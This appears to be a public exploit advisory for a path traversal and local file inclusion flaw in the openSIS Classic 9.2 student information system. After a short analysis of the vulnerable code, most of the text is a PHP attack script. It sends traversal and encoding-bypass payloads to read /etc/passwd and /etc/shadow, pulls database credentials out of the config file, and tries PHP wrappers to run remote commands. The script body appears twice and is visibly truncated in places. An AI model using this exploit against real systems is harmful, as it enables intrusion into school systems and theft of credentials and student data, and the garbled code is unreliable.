============================================================================================================================================= | # Title : openSIS Classic v 9.2 Path Traversal Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.opensis.com | ============================================================================================================================================= [+] References : [+] Summary : Critical Path Traversal / Local File Inclusion (LFI) vulnerability in openSIS Student Information System. [+] Vulnerable Code Analysis : [+] Location: Modules.php // Vulnerable line 39-47 if ( substr( $modname, -4, 4 ) !== '.php' || strpos( $modname, '..' ) !== false /*|| ! is_file( 'modules/' . $modname )*/ ) { // Log hacking attempt } else { require_once 'modules/' . $modname; // DIRECT FILE INCLUSION } [+] Root Causes: No Input Sanitization: $modname = $_REQUEST['modname']; (direct assignment) Weak Validation: Only checks for .php extension and .. Comment-Out Critical Check: ! is_file( 'modules/' . $modname ) commented out No Whitelist/Blacklist: No validation of allowed modules [+] POC : php poc.php target_url = rtrim($target_url, '/'); $this->session_cookie = $session_cookie; } public function test_directory_traversal() { echo "[*] Testing Directory Traversal in openSIS\n"; $payloads = [ // Basic directory traversal '../../../etc/passwd', '../../../../etc/passwd', '..\\..\\..\\etc\\passwd', // Windows // Null byte injection '../../../etc/passwd%00.php', // Encoded payloads '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', // Double encoding '..%252f..%252f..%252fetc%252fpasswd', // UTF-8 bypass '..%c0%af..%c0%af..%c0%afetc%c0%afpasswd', // File inclusion without .php '../../../etc/passwd.php', ]; foreach ($payloads as $payload) { $url = $this->target_url . "/Modules.php?modname=" . $payload; echo "\n[*] Testing: " . $payload; $response = $this->make_request($url); if (strpos($response, 'root:') !== false || strpos($response, 'daemon:') !== false) { echo " ✅ SUCCESS - File read!\n"; return $payload; } elseif (strpos($response, 'Warning') !== false || strpos($response, 'Fatal error') !== false) { echo " ⚠️ ERROR - But vulnerable\n"; } else { echo " ❌ Failed\n"; } } return false; } public function test_local_file_inclusion() { echo "\n[*] Testing Local File Inclusion (LFI)\n"; $files = [ // System files '/etc/passwd', '/etc/shadow', '/etc/hosts', '/etc/issue', '/proc/self/environ', '/proc/version', // openSIS config files '../../config.inc.php', '../config.inc.php', 'config.inc.php', // PHP files 'index.php', 'Warehouse.php', // Log files '../../logs/error.log', // Session files '/tmp/sess_' . session_id(), ]; foreach ($files as $file) { $url = $this->target_url . "/Modules.php?modname=" . $file . ".php"; echo "\n[*] Trying: " . $file; $response = $this->make_request($url); if (strlen($response) > 100 && !strpos($response, 'target_url . "/Modules.php?modname=" . $payload; $response = $this->make_request($url); if (strpos($response, 'PD9waHA') !== false) { echo "[+] Found base64 encoded file\n"; // Decode and look for credentials $base64 = substr($response, strpos($response, 'PD9waHA')); $decoded = base64_decode($base64); // Look for database credentials if (preg_match('/\$DatabaseServer\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) { echo "[+] Database Server: " . $matches[1] . "\n"; } if (preg_match('/\$DatabaseUsername\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) { echo "[+] Database Username: " . $matches[1] . "\n"; } if (preg_match('/\$DatabasePassword\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) { echo "[+] Database Password: " . $matches[1] . "\n"; } } // Method 2: Try to access PHP wrapper echo "\n[*] Testing PHP wrappers\n"; $wrappers = [ 'php://input', 'data://text/plain,', 'expect://ls', ]; foreach ($wrappers as $wrapper) { // تم التصحيح هنا أيضاً $url = $this->target_url . "/Modules.php?modname=" . urlencode($wrapper); // For php://input, need POST data $post_data = ($wrapper === 'php://input') ? '' : null; $response = $this->make_request($url, $post_data); if (strpos($response, 'uid=') !== false) { echo "[+] RCE Achieved via " . $wrapper . "\n"; return true; } } return false; } public function scan_for_modules() { echo "\n[*] Scanning for accessible modules\n"; // Common openSIS modules $modules = [ 'Students/Student.php', 'Users/User.php', 'Grades/Grades.php', 'Attendance/Attendance.php', 'Scheduling/Schedule.php', 'Food_Service/Menus.php', 'Accounting/Accounts.php', ]; foreach ($modules as $module) { // تم التصحيح هنا $url = $this->target_url . "/Modules.php?modname=" . $module; $response = $this->make_request($url); if (strpos($response, 'HackingLog') === false && !strpos($response, '404') && strlen($response) > 100) { echo "[+] Found: " . $module . "\n"; } } } private function make_request($url, $post_data = null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($this->session_cookie) { curl_setopt($ch, CURLOPT_COOKIE, $this->session_cookie); } if ($post_data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); } $response = curl_exec($ch); curl_close($ch); return $response; } public function run_full_test() { echo "==================================\n"; echo " openSIS Path Traversal Exploit\n"; echo "==================================\n"; $this->test_directory_traversal(); $this->test_local_file_inclusion(); $this->scan_for_modules(); $this->exploit_to_rce(); echo "\n[*] Exploitation completed\n"; } } // Usage if (isset($argv) && $argc > 1) { $target = $argv[1]; $cookie = ($argc > 2) ? $argv[2] : null; $exploit = new openSISExploit($target, $cookie); $exploit->run_full_test(); } else { echo "Usage: php " . basename(__FILE__) . " http://target.com [session_cookie]\n"; echo "Example: php " . basename(__FILE__) . " http://school.edu/openSIS \"PHPSESSID=abc123\"\n"; }target_url = rtrim($target_url, '/'); $this->session_cookie = $session_cookie; } public function test_directory_traversal() { echo "[*] Testing Directory Traversal in openSIS\n"; $payloads = [ // Basic directory traversal '../../../etc/passwd', '../../../../etc/passwd', '..\\..\\..\\etc\\passwd', // Windows // Null byte injection '../../../etc/passwd%00.php', // Encoded payloads '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', // Double encoding '..%252f..%252f..%252fetc%252fpasswd', // UTF-8 bypass '..%c0%af..%c0%af..%c0%afetc%c0%afpasswd', // File inclusion without .php '../../../etc/passwd.php', ]; foreach ($payloads as $payload) { $url = $this->target_url . "/Modules.php?modname=" . $payload; echo "\n[*] Testing: " . $payload; $response = $this->make_request($url); if (strpos($response, 'root:') !== false || strpos($response, 'daemon:') !== false) { echo " ✅ SUCCESS - File read!\n"; return $payload; } elseif (strpos($response, 'Warning') !== false || strpos($response, 'Fatal error') !== false) { echo " ⚠️ ERROR - But vulnerable\n"; } else { echo " ❌ Failed\n"; } } return false; } public function test_local_file_inclusion() { echo "\n[*] Testing Local File Inclusion (LFI)\n"; $files = [ // System files '/etc/passwd', '/etc/shadow', '/etc/hosts', '/etc/issue', '/proc/self/environ', '/proc/version', // openSIS config files '../../config.inc.php', '../config.inc.php', 'config.inc.php', // PHP files 'index.php', 'Warehouse.php', // Log files '../../logs/error.log', // Session files '/tmp/sess_' . session_id(), ]; foreach ($files as $file) { $url = $this->target_url . "/Modules.php?modname=" . $file . ".php"; echo "\n[*] Trying: " . $file; $response = $this->make_request($url); if (strlen($response) > 100 && !strpos($response, 'target_url . "/Modules.php?modname=" . $payload; $response = $this->make_request($url); if (strpos($response, 'PD9waHA') !== false) { echo "[+] Found base64 encoded file\n"; // Decode and look for credentials $base64 = substr($response, strpos($response, 'PD9waHA')); $decoded = base64_decode($base64); // Look for database credentials if (preg_match('/\$DatabaseServer\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) { echo "[+] Database Server: " . $matches[1] . "\n"; } if (preg_match('/\$DatabaseUsername\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) { echo "[+] Database Username: " . $matches[1] . "\n"; } if (preg_match('/\$DatabasePassword\s*=\s*[\'"](.*?)[\'"]/', $decoded, $matches)) { echo "[+] Database Password: " . $matches[1] . "\n"; } } // Method 2: Try to access PHP wrapper echo "\n[*] Testing PHP wrappers\n"; $wrappers = [ 'php://input', 'data://text/plain,', 'expect://ls', ]; foreach ($wrappers as $wrapper) { // تم التصحيح هنا أيضاً $url = $this->target_url . "/Modules.php?modname=" . urlencode($wrapper); // For php://input, need POST data $post_data = ($wrapper === 'php://input') ? '' : null; $response = $this->make_request($url, $post_data); if (strpos($response, 'uid=') !== false) { echo "[+] RCE Achieved via " . $wrapper . "\n"; return true; } } return false; } public function scan_for_modules() { echo "\n[*] Scanning for accessible modules\n"; // Common openSIS modules $modules = [ 'Students/Student.php', 'Users/User.php', 'Grades/Grades.php', 'Attendance/Attendance.php', 'Scheduling/Schedule.php', 'Food_Service/Menus.php', 'Accounting/Accounts.php', ]; foreach ($modules as $module) { // تم التصحيح هنا $url = $this->target_url . "/Modules.php?modname=" . $module; $response = $this->make_request($url); if (strpos($response, 'HackingLog') === false && !strpos($response, '404') && strlen($response) > 100) { echo "[+] Found: " . $module . "\n"; } } } private function make_request($url, $post_data = null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($this->session_cookie) { curl_setopt($ch, CURLOPT_COOKIE, $this->session_cookie); } if ($post_data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); } $response = curl_exec($ch); curl_close($ch); return $response; } public function run_full_test() { echo "==================================\n"; echo " openSIS Path Traversal Exploit\n"; echo "==================================\n"; $this->test_directory_traversal(); $this->test_local_file_inclusion(); $this->scan_for_modules(); $this->exploit_to_rce(); echo "\n[*] Exploitation completed\n"; } } // Usage if (isset($argv) && $argc > 1) { $target = $argv[1]; $cookie = ($argc > 2) ? $argv[2] : null; $exploit = new openSISExploit($target, $cookie); $exploit->run_full_test(); } else { echo "Usage: php " . basename(__FILE__) . " http://target.com [session_cookie]\n"; echo "Example: php " . basename(__FILE__) . " http://school.edu/openSIS \"PHPSESSID=abc123\"\n"; } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================